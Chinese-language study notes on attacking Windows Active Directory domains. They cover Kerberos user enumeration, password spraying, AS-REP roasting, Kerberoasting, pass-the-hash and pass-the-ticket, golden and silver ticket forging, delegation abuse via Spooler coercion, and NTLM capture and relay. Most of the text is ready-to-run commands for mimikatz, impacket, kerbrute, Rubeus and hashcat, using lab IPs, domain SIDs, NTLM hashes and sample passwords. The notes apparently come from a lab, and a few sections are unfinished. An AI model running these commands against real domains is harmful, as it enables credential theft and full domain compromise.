域渗透
用户名枚举
- 原理
Kerberos协议中AS阶段,kerberos返回的不同错误信息判断
用户状态 |
Kerberos错误 |
说明 |
目前/已启用 |
KDC_ERR_PREAUTH_REQUIRED |
需要额外的预认证 |
锁定/禁用 |
KDC_ERR_CLIENT_REVOKED |
客户端凭证已被吊销 |
不存在 |
KDC_ERR_C_PRINCIPAL_UNKNOWN |
在Kerberos数据库中找不到客户端 |
- 适用条件
域外,没有域凭证(域内可以查询ladp,net user /domain)
- 利用方法
- Msf
auxiliary/gather/kerberos_enumusers
- Kerbrute
kerbrute.exe userenum --dc DCIP -d domain users.txt
Password Spraying(密码喷洒)
- 原理
Kerberos协议中AS阶段,kerberos返回的错误信息判断
用户状态 |
Kerberos错误 |
密码错误 |
KDC_ERR_PREAUTH_FAILED |
- 利用方法
- Kerbrute(域外)
kerbrute.exe passwordspray --dc DCIP -d domain user_file password
- DomainPasswordSpray.ps1(域内)
Import-Module .DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password lm123!@#45
AS-REPRoasting
- 原理
当用户登录时,他们使用从其密码生成的加密密钥对一条信息(时间戳)进行加密,以向验证服务器证明他们知道密码。此步骤称为“预身份验证”。
域用户,如果设置了选项”Do not require Kerberos preauthentication(不需要kerberos预身份验证)”
向域控制器的88端口发送AS_REQ请求,会返回使用用户hash加密session-key,我们通过进行离线爆破就可以获得用户hash重新组合
- 利用方法
- ps1(非域)
Import-Module .ASREPRoast.ps1
Get-ASREPHash -UserName 用户名 -Domain 域名 -Server DCIP | Out-File -Encoding ASCII hash.txt
- exe(域内)
- 破解
- 使用hashcat对获得的Hash进行爆破
将hash.txt里面的除Hash字段其他的都删除,复制到hashcat目录下,并且修改为hashcat能识别的格式,在$krb5asrep后面添加$23拼接。
hashcat -m 18200 hash pass --force
Pass The Hash(Key)
- 原理
由于在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。因此在只有用户hash,没有明文密码的情况下也是可以进行认证的
- 如果hash的ntlm hash,加密方式是rc4,这种就算做是pass the hash
- 如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key
- 利用条件
- 工作组
- Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
- Windows Vista 之后的机器,只能是administrator(SID:500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
- 修改目标机器的 LocalAccountTokenFilterPolicy 为1后,使用普通账号也可进行哈希传递攻击
HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemLocalAccountTokenFilterPolicy
- 域
- 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
- 利用方法
- Mimikatz
sekurlsa::pth /user:Administrator /domain:workgroup /ntlm:85185b71cc31dbe7935187ad28d153a8
- Impacket
psexec.py
smbexec.py
atexec.py
wmiexec.py
dcomexec.py
都支持使用hash进行远程命令执行,通过--hashes指定hash
以psexec.py为例
impacket-psexec -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:85185b71cc31dbe7935187ad28d153a8 ./Administrator@192.168.110.134
- Invoke-TheHash(powershell)
Invoke-SMBExec -Target 192.168.110.134 -Username Administrator -Hash 85185b71cc31dbe7935187ad28d153a8 -Command "calc" -verbose
- Pass the Hash with Remote Desktop
Kerberoasting
- 原理
用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据,这也是kerberoating能利用的原因,任何一个用户,只要hash正确,可以请求域内任何一个服务的TGS票据
- 请求的kerberos服务票证的加密类型是RC4_HMAC_MD5
- 利用方法(域内)
spn信息
- Windows
- 请求票据
kerberos::ask /target:MSSQLSvc/Sync-Web.Sync.net:1433
kerberos::list /export
- Powershell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Sync-Web.Sync.net"
- 破解(脚本原因未测试)
python3 tgsrepcrack.py pass.txt 1-40a10000-Administrator.kirbi
- Linux
- 请求票据
python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -request -dc-ip 192.168.110.12 sync.net/liming:lm123!@#45 -outputfile /root/kirbi.out
- 破解
hashcat -m 13100 kirbi.out pass --force
pass the ticket(ptt)
- 原理
Kerbreos 除了第一步AS_ERQ是使用时间戳加密用户hash验证之外,其他的步骤的验证都是通过票据,这个票据 可以是TGT票据或者TGS票据。因为票据里面的内容主要是session_key和ticket(使用服务hash加密的,服务包括krbtgt(金票)),拿到票据之后。我们就可以用这个票据来作为下阶段的验证了。
- 可以导出一个本机中缓存的票据,或者请求一个新的票据
- 利用方法
- kekeo
- 域用户及其口令/ntlm
- 域控地址
- 普通域用户权限即可
- 请求票据
tgt::ask /user:Administrator /domain:sync.net /ntlm:518b98ad4178a53695dc997aa02d455c
- Mimikatz导入票据
Kerberos::ptt TGT_Administrator@SYNC.NET_krbtgt~sync.net@SYNC.NET.kirbi
一.1.1. Golden Ticket(黄金票据)
- 原理
每个用户的Ticket都是由krbtgt的密码Hash来生成的,如果拿到了krbtgt的密码Hash,就可以随意伪造Ticket了(TGT)
- 条件
- 要伪造的域用户(这里我们一般填写域管理员账户)
- 域名
- 域的SID值(就是域成员SID值去掉最后的)
- krbtgt账号的哈希值
- 利用方法
- 导出krbtgt的hash
lsadump::dcsync /domain:sync.net /user:krbtgt
- 制作金票并导入
kerberos::golden /user:administrator /domain:sync.net /sid:S-1-5-21-3759223866-655059005-237591253 /krbtgt:a2c8be6f5c6e665e632468c6dbb235e3
kerberos:ptt ticket.kirbi
一.1.2. Silver Ticket(白银票据)
- 原理
Silver Ticket是由服务账户(通常为计算机账户)hash加密,伪造的是TGS
- 条件
- /domain
- /sid
- /target:目标服务器的域名全称,此处为域控的全称
- /service:目标服务器上面的kerberos服务,此处为ldap
- /rc4:计算机账户的NTLM hash,域控主机的计算机账户
- /user:要伪造的用户名,此处可用mrhonest测试
- 利用方法
- 获取服务账户hash
privilege::debug
sekurlsa::logonpasswords
- 伪造票据并导入
kerberos::golden /domain:sync.net /sid:S-1-5-21-3759223866-655059005-237591253 /target:sync-dc.sync.net /service:LDAP /rc4:97cb29f2d10e16add3d478583ad91cd0 /user:mrhonest
kerberos:ptt ticket.kirbi
- Dump用户hash
lsadump::dcsync /dc:sync-dc.sync.net /domain:sync.net /user:liming
委派
一.1.3. 非约束委派
- 原理
当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了
- 利用条件
获取了设置了非约束委派的主机的system权限
- 利用方法
- 查询设置了非约束委派的主机(域控默认开启)
- Powershell
Import-Module PowerView.ps1
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -a
- Linux(需要域认证)
ldapsearch -x -H ldap://192.168.110.12:389 -D "CN=chenli,OU=成都,DC=sync,DC=net" -w password -b "DC=sync,DC=net" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
- 获取票据TGT
此时如果域管连接了非约束委派的主机(smb,winrm等),TGT就会缓存在内存中
privilege::debug
//导出票据
sekurlsa::tickets /export
//导入票据
kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-sync.net.kirbi
- 非约束委派+Spooler打印机服务
- 利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接
- 利用方法
- 监听来自dc的登录请求
Rubeus.exe monitor /interval:1 /filteruser:sync-dc$
- 强制dc回连
普通域用户权限执行
SpoolSample.exe dc 回连主机
- 收到base64编码后的票据
- 票据转换(powershell)
[IO.File]::WriteAllBytes("绝对路径TGS icket.kirbi", [Convert]::FromBase64String("得到的base64"))
- 导入票据
kerberos::ptt ticket.kirbi
可以dump域管hash
一.1.4. 约束委派
- 原理
我们得到了user的明文密码或者ntlmHASH(server1的机器用户的明文密码或者ntlmHASH),可以在KDC上申请TGT,然后利用申请到的TGT伪造其它用户(一般是域管,因为只有域管权限才能设置委派)从KDC申请一个访问server2的可转发(使用任何身份验证协议)的TGS, 然后注入TGS即可
如果设置约束委派为"仅使用kerberos",则请求到server2的TGS不可转发(TrustedToAuthenticationForDelegation未配置),s4uProxy会失败
- 利用条件
满足其一即可:
获取到配置约束委派的服务用户的密码或者ntlm-hash
获取到配置约束委派的服务用户所登录机器的system权限(mimikatz导出服务用户的密码或者ntlm-hash)
- 利用方法
- 查找配置约束委派的用户/计算机
- Powershell
Import-Module PowerView.ps1
////查找域中配置约束委派用户
Get-DomainUser –TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
////查找域中配置约束委派的主机:
Get-DomainComputer–TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
- Linux
//查找域中配置约束委派用户
ldapsearch -x -H ldap://192.168.110.12:389 -D "CN=chenli,OU=成都,DC=sync,DC=net" -w cl123!@#45 -b "DC=sync,DC=net" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
//查找域中配置约束委派的主机:
ldapsearch -x -H ldap://192.168.110.12:389 -D "CN=chenli,OU=成都,DC=sync,DC=net" -w cl123!@#45 -b "DC=sync,DC=net" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
- 请求票据(TGT)
- 伪造票据(TGS)
tgs::s4u /tgt:TGT_WINDOWS764-2$@SYNC.NET_krbtgt~sync.net@SYNC.NET.kirbi /user:Administrator@sync.net /service:cifs/sync-dc.sync.net
- 导入票据
kerberos::ptt TGS_Administrator@sync.net@SYNC.NET_cifs~sync-dc.sync.net@SYNC.NET.kirbi
一.1.5. 基于资源的约束委派
待续
Ntlm破解
- 使用Responder开启服务并监听
responder -I eth0 -wrf
- 诱导主机连接并认证
- 获取到Net-Ntlm
- 使用hashcat破解
hashcat -m 5600 Net-Ntlm /root/pass --force
Ntlm中继
- 原理
ntlm是一个嵌入式的协议,消息的传输依赖于使用ntlm的上层协议,比如SMB,LDAP,HTTP等。
那ntlm的上层协议是smb的情况下,ntlm_relay就是smb_relay。那如果上层协议是http,我们也可以叫做http_relay,但是都统称ntlm_relay
- 获取ntml
https://daiker.gitbook.io/windows-protocol/ntlm-pian/5
- 演示
一.1.6. 中继到Smb
impacket-smbrelayx -h 192.168.110.15 -c ipconfig
连接中继服务器
中继成功并返回执行命令结果
一.1.7. 中继到mssql
impacket-ntlmrelayx -t mssql://192.168.110.15 -q "select @@version"
连接中继服务器
中继成功并返回执行的sql语句结果
一.1.8. 其它中继
等我学会的